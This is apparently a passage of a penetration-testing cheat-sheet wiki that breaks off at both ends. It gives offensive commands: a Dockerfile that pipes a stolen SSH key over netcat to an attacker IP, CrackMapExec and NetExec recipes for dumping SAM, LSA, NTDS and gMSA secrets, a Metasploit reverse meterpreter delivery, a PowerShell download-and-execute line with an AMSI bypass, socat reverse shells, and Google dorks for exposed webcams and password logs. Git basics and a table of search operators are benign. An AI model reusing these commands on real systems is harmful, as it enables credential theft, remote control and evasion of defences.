# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80&lt;br /&gt;
shanah@deployer:/opt$ cat dockerfile&lt;br /&gt;
FROM alpine&lt;br /&gt;
COPY id_rsa.bak /tmp/id_rsa.bak&lt;br /&gt;
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80&lt;br /&gt;
# After running the below command, look at your netcat listener.&lt;br /&gt;
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Exec-Tools ==&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://wiki.porchetta.industries/&lt;br /&gt;
# READ MORE IN THE LINK ABOVE!!!!&lt;br /&gt;
# SMB commands&lt;br /&gt;
# Obtaining creds&lt;br /&gt;
# Require Domain Admin or Local Admin&lt;br /&gt;
# Dump SAM&lt;br /&gt;
crackmapexec smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --sam&lt;br /&gt;
## Dump LSA&lt;br /&gt;
crackmapexec  smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --lsa&lt;br /&gt;
## Dump NTDS.dit&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users --enabled&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds vss&lt;br /&gt;
## LPAS - If installed on the domain&lt;br /&gt;
crackmapexec smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# LDAP&lt;br /&gt;
## Dump gMSA&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa&lt;br /&gt;
## LAPS - If installed on the domain&lt;br /&gt;
crackmapexec ldap  -u user-can-read-laps -p pass -M laps&lt;br /&gt;
## Extract gMSA secrets&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724&lt;br /&gt;
rackmapexec ldap  -u  -p  --gmsa-decrypt-lsa &#039;_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000&#039;&lt;br /&gt;
## List all PKI enrollment server&lt;br /&gt;
crackmapexec run ldap  -u user -p pass -M adcs&lt;br /&gt;
## Extract subnet&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ONLY_HOSTS=true&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ALL=true&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== NetExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Pennyw0rth/NetExec&lt;br /&gt;
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.&lt;br /&gt;
# cheatsheet&lt;br /&gt;
https://www.netexec.wiki/&lt;br /&gt;
# General&lt;br /&gt;
netexec   -u username -p password&lt;br /&gt;
# Using modules&lt;br /&gt;
# List available modules&lt;br /&gt;
nxc smb -L&lt;br /&gt;
# View module options&lt;br /&gt;
nxc smb -M lsassy --options&lt;br /&gt;
# Using Kerberos&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache&lt;br /&gt;
$ nxc smb zoro.gold.local --use-kcache&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache&lt;br /&gt;
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
# Read LAPS&lt;br /&gt;
nxc smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# Impersonate logged on user&lt;br /&gt;
# 1. Enumerate logged-on users on your Target&lt;br /&gt;
nxc smb  -u  -p  --loggedon-users&lt;br /&gt;
# 2. Execute commands on behalf of other users&lt;br /&gt;
nxc smb  -u  -p  -M schtask_as -o USER= CMD=&lt;br /&gt;
# Find Domain SID&lt;br /&gt;
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid&lt;br /&gt;
# Kerberoasting&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt&lt;br /&gt;
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation&lt;br /&gt;
# Dump gMSA&lt;br /&gt;
$ nxc ldap  -u  -p  --gmsa&lt;br /&gt;
# Bloodhound ingenstor&lt;br /&gt;
nxc ldap  -u user -p pass --bloodhound -ns  --collection All&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Meterpreter using Invoke-metasploitpayload.ps1 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md&lt;br /&gt;
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter&lt;br /&gt;
# Meterpreter&lt;br /&gt;
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.&lt;br /&gt;
# On your Metasploit instance, run the following commands&lt;br /&gt;
use exploit/multi/script/web_delivery&lt;br /&gt;
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script&lt;br /&gt;
set SRVHOST 10.211.55&lt;br /&gt;
set SRVPORT 8443&lt;br /&gt;
# The target variable determines what type of script we&#039;re using. 2 is for PowerShell&lt;br /&gt;
set target 2&lt;br /&gt;
# Pick your payload. In this case, we&#039;ll use a reverse https meterpreter payload&lt;br /&gt;
set payload windows/meterpreter/reverse_https&lt;br /&gt;
set LHOST 10.211.55&lt;br /&gt;
set LPORT 443&lt;br /&gt;
# Run the exploit&lt;br /&gt;
run -j&lt;br /&gt;
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.&lt;br /&gt;
msf exploit(web_delivery) &amp;gt; run -j&lt;br /&gt;
[*] Exploit running as background job.&lt;br /&gt;
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/&lt;br /&gt;
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Server started.&lt;br /&gt;
# Then just run the met_inject module and specify the LHOST and LPORT values:&lt;br /&gt;
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PsMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Cheathseet&lt;br /&gt;
https://viperone.gitbook.io/pentest-everything/psmapexec&lt;br /&gt;
https://github.com/The-Viper-One/PsMapExec&lt;br /&gt;
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.&lt;br /&gt;
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.&lt;br /&gt;
# Load directly into memory and attempt to bypass AV&lt;br /&gt;
# Invoke-NETMongoose.ps1 is an AMSI bypass&lt;br /&gt;
IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1&amp;quot;);IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.&lt;br /&gt;
## Primarily these are:&lt;br /&gt;
### Kirby (PowerShell based Kerberos ticket dump)&lt;br /&gt;
### Invoke-Pandemonium (Slightly modified Mimikatz)&lt;br /&gt;
&lt;br /&gt;
# Examples&lt;br /&gt;
# Execute WMI commands over all systems in the domain using password authentication&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Execute WinRM commands over all systems in the domain using hash authentication&lt;br /&gt;
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Check RDP Access against workstations in the domain&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP&lt;br /&gt;
# Dump SAM on all servers in the domain using SMB&lt;br /&gt;
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM&lt;br /&gt;
# Check SMB Signing on all domain systems&lt;br /&gt;
PsMapExec -Targets All -Method GenRelayList&lt;br /&gt;
# Dump LogonPasswords on all Domain Controllers over SMB&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== GIT ==&lt;br /&gt;
&lt;br /&gt;
See PG Hunit writeup&lt;br /&gt;
&lt;br /&gt;
=== Download .git ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./gitdumper.sh /.git/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extract .git content ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./extractor.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GIT basic commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files&lt;br /&gt;
git add -A&lt;br /&gt;
# Configure who you are in order to commit&lt;br /&gt;
git config --global user.email &amp;quot;you@example.com&amp;quot;&lt;br /&gt;
git config --global user.name &amp;quot;Your Name&amp;quot;&lt;br /&gt;
# The git commit command **captures a snapshot of the project&#039;s currently staged changes**.&lt;br /&gt;
git commit -m &amp;quot;This is a message&amp;quot;&lt;br /&gt;
#  Push your changes to the remote server. &amp;quot;master&amp;quot; refers to master branch in your repository.&lt;br /&gt;
git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
=== GIT_SSH_COMMAND ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# GIT_SSH_COMMAND&lt;br /&gt;
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.&lt;br /&gt;
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git clone git@192.168.243.125:/git-server&lt;br /&gt;
# This command wil SSH to user git and push the changes to the remote server.&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GitLeaks - Scan repos for secrets ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/zricethezav/gitleaks&lt;br /&gt;
gitleaks detect --source . -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Google Dorking ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://dorksearch.com/&lt;br /&gt;
site:target[.]com ext:php inurl:?&lt;br /&gt;
site:target.tld intitle:&amp;quot;index of /&amp;quot; #  intitle:&amp;quot;index of /&amp;quot;: This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search operators ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Operator&lt;br /&gt;
! Description&lt;br /&gt;
! Syntax&lt;br /&gt;
! Example&lt;br /&gt;
|-&lt;br /&gt;
| ()&lt;br /&gt;
| Group multiple terms or operators. Allows advanced expressions&lt;br /&gt;
| (&amp;lt;term&amp;gt; or &amp;lt;operator&amp;gt;)&lt;br /&gt;
| inurl:(html | php)&lt;br /&gt;
|-&lt;br /&gt;
| *&lt;br /&gt;
| Wildcard. Matches any word&lt;br /&gt;
| &amp;lt;text&amp;gt; * &amp;lt;text&amp;gt;&lt;br /&gt;
| How to * a computer&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;&amp;quot;&lt;br /&gt;
| The given keyword has to match exactly. case-insensitive&lt;br /&gt;
| &amp;quot;&amp;lt;keywords&amp;gt;&amp;quot;&lt;br /&gt;
| &amp;quot;google&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| m..n / m...n&lt;br /&gt;
| Search for a range of numbers. n should be greater than m&lt;br /&gt;
| &amp;lt;number&amp;gt;..&amp;lt;number&amp;gt;&lt;br /&gt;
| 1..100&lt;br /&gt;
|-&lt;br /&gt;
| -&lt;br /&gt;
| Documents that match the operator are excluded. NOT-Operator&lt;br /&gt;
| -&amp;lt;operator&amp;gt;&lt;br /&gt;
| -site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| +&lt;br /&gt;
| Include documents that match the operator&lt;br /&gt;
| +&amp;lt;operator&amp;gt;&lt;br /&gt;
| +site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| |&lt;br /&gt;
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match&lt;br /&gt;
| &amp;lt;operator&amp;gt; | &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; | &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ~&lt;br /&gt;
| Search for synonyms of the given word. Not supported by Google&lt;br /&gt;
| ~&amp;lt;word&amp;gt;&lt;br /&gt;
| ~book&lt;br /&gt;
|-&lt;br /&gt;
| @&lt;br /&gt;
| Perform a search only on the given social media platform. Rather use site&lt;br /&gt;
| @&amp;lt;socialmedia&amp;gt;&lt;br /&gt;
| @instagram&lt;br /&gt;
|-&lt;br /&gt;
| after&lt;br /&gt;
| Search for documents published / indexed after the given date&lt;br /&gt;
| after:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| after:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| allintitle&lt;br /&gt;
| Same as intitle but allows multiple keywords seperated by a space&lt;br /&gt;
| allintitle:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintitle:dog cat&lt;br /&gt;
|-&lt;br /&gt;
| allinurl&lt;br /&gt;
| Same as inurl but allows multiple keywords seperated by a space&lt;br /&gt;
| allinurl:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allinurl:search com&lt;br /&gt;
|-&lt;br /&gt;
| allintext&lt;br /&gt;
| Same as intext but allows multiple keywords seperated by a space&lt;br /&gt;
| allintext:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintext:math science university&lt;br /&gt;
|-&lt;br /&gt;
| AROUND&lt;br /&gt;
| Search for documents in which the first word is up to n words away from the second word and vice versa&lt;br /&gt;
| &amp;lt;word1&amp;gt; AROUND(&amp;lt;n&amp;gt;) &amp;lt;word2&amp;gt;&lt;br /&gt;
| google AROUND(10) good&lt;br /&gt;
|-&lt;br /&gt;
| author&lt;br /&gt;
| Search for articles written by the given author if applicable&lt;br /&gt;
| author:&amp;lt;name&amp;gt;&lt;br /&gt;
| author:Max&lt;br /&gt;
|-&lt;br /&gt;
| before&lt;br /&gt;
| Search for documents published / indexed before the given date&lt;br /&gt;
| before:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| before:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| cache&lt;br /&gt;
| Search on the cached version of the given website. Uses Google&#039;s cache to do so&lt;br /&gt;
| cache:&amp;lt;domain&amp;gt;&lt;br /&gt;
| cache:google.com&lt;br /&gt;
|-&lt;br /&gt;
| contains&lt;br /&gt;
| Search for documents that link to the given fileype. Not supported by Google&lt;br /&gt;
| contains:&amp;lt;filetype&amp;gt;&lt;br /&gt;
| contains:pdf&lt;br /&gt;
|-&lt;br /&gt;
| date&lt;br /&gt;
| Search for documents published within the past n months. Not supported by Google&lt;br /&gt;
| date:&amp;lt;number&amp;gt;&lt;br /&gt;
| date:3&lt;br /&gt;
|-&lt;br /&gt;
| define&lt;br /&gt;
| Search for the definition of the given word&lt;br /&gt;
| define:&amp;lt;word&amp;gt;&lt;br /&gt;
| define:funny&lt;br /&gt;
|-&lt;br /&gt;
| ext&lt;br /&gt;
| Search for a specific filetype&lt;br /&gt;
| ext:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| ext:pdf&lt;br /&gt;
|-&lt;br /&gt;
| filetype&lt;br /&gt;
| Refer to ext&lt;br /&gt;
| filetype:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| filetype:pdf&lt;br /&gt;
|-&lt;br /&gt;
| inanchor&lt;br /&gt;
| Search for the given keyword in a website&#039;s anchors&lt;br /&gt;
| inanchor:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inanchor:security&lt;br /&gt;
|-&lt;br /&gt;
| index of&lt;br /&gt;
| Search for documents containing direct downloads&lt;br /&gt;
| index of:&amp;lt;term&amp;gt;&lt;br /&gt;
| index of:mp4 videos&lt;br /&gt;
|-&lt;br /&gt;
| info&lt;br /&gt;
| Search for information about a website&lt;br /&gt;
| info:&amp;lt;domain&amp;gt;&lt;br /&gt;
| info:google.com&lt;br /&gt;
|-&lt;br /&gt;
| intext&lt;br /&gt;
| Keyword needs to be in the text of the document&lt;br /&gt;
| intext:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intext:news&lt;br /&gt;
|-&lt;br /&gt;
| intitle&lt;br /&gt;
| Keyword needs to be in the title of the document&lt;br /&gt;
| intitle:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intitle:money&lt;br /&gt;
|-&lt;br /&gt;
| inurl&lt;br /&gt;
| Keyword needs to be in the URL of the document&lt;br /&gt;
| inurl:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inurl:sheet&lt;br /&gt;
|-&lt;br /&gt;
| link / links&lt;br /&gt;
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website&lt;br /&gt;
| link:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| link:google&lt;br /&gt;
|-&lt;br /&gt;
| location&lt;br /&gt;
| Show documents based on the given location&lt;br /&gt;
| location:&amp;lt;location&amp;gt;&lt;br /&gt;
| location:USA&lt;br /&gt;
|-&lt;br /&gt;
| numrange&lt;br /&gt;
| Refer to m..n&lt;br /&gt;
| numrange:&amp;lt;number&amp;gt;-&amp;lt;number&amp;gt;&lt;br /&gt;
| numrange:1-100&lt;br /&gt;
|-&lt;br /&gt;
| OR&lt;br /&gt;
| Refer to |&lt;br /&gt;
| &amp;lt;operator&amp;gt; OR &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; OR &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| phonebook&lt;br /&gt;
| Search for related phone numbers associated with the given name&lt;br /&gt;
| phonebook:&amp;lt;name&amp;gt;&lt;br /&gt;
| phonebook:&amp;quot;william smith&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| relate / related&lt;br /&gt;
| Search for documents that are related to the given website&lt;br /&gt;
| relate:&amp;lt;domain&amp;gt;&lt;br /&gt;
| relate:google.com&lt;br /&gt;
|-&lt;br /&gt;
| safesearch&lt;br /&gt;
| Exclude adult content such as pornographic videos&lt;br /&gt;
| safesearch:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| safesearch:sex&lt;br /&gt;
|-&lt;br /&gt;
| source&lt;br /&gt;
| Search on a specific news site. Rather use site&lt;br /&gt;
| source:&amp;lt;news&amp;gt;&lt;br /&gt;
| source:theguardian&lt;br /&gt;
|-&lt;br /&gt;
| site&lt;br /&gt;
| Search on the given site. Given argument might also be just a TLD such as com, net, etc&lt;br /&gt;
| site:&amp;lt;domain&amp;gt;&lt;br /&gt;
| site:google.com&lt;br /&gt;
|-&lt;br /&gt;
| stock&lt;br /&gt;
| Search for information about a market stock&lt;br /&gt;
| stock:&amp;lt;stock&amp;gt;&lt;br /&gt;
| stock:dax&lt;br /&gt;
|-&lt;br /&gt;
| weather&lt;br /&gt;
| Search for information about the weather of the given location&lt;br /&gt;
| weather:&amp;lt;location&amp;gt;&lt;br /&gt;
| weather:Miami&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Finding Valuable Information ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intitle:&amp;quot;webcamXP 5&amp;quot; | inurl:&amp;quot;lvappl.htm&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find open/public webcams&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:password ext:log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find log documents wich have the string &amp;quot;password&amp;quot; in it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:/proc/self/cwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find vulnerable webservers&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:email.xls ext:xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find excel documents that contain email addresses&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
index of:mp3 intext:.mp3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find mp3 (music) documents&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:&amp;quot;index of /&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finding indexed files&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Listener ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ATTENTION&lt;br /&gt;
# Some target machines might block the port you&#039;ve choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Metasploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use exploit/multi/handler&lt;br /&gt;
set PAYLOAD&lt;br /&gt;
set LHOST&lt;br /&gt;
set LPORT&lt;br /&gt;
set ExitOnSession false&lt;br /&gt;
exploit -j -z&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Listen on port&lt;br /&gt;
nc -lvnp&lt;br /&gt;
# Use rlwrap for better shell on Windows&lt;br /&gt;
rlwrap nc -lvnp&lt;br /&gt;
# Connect to port&lt;br /&gt;
nc -nv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Socat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic listener&lt;br /&gt;
socat TCP-L: -&lt;br /&gt;
# Windows connect back&lt;br /&gt;
socat TCP::&lt;br /&gt;
EXEC:powershell.exe,pipes&lt;br /&gt;
# Linux connect back&lt;br /&gt;
socat TCP:: EXEC:&amp;quot;bash -li&amp;quot;&lt;br /&gt;
# Encrypted shell - Basic listener&lt;br /&gt;
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells&lt;br /&gt;
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –&lt;br /&gt;
# Connect back&lt;br /&gt;
socat OPENSSL::,verify=0 EXEC:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== LXD - Privilege escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
Step 1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# ls&lt;br /&gt;
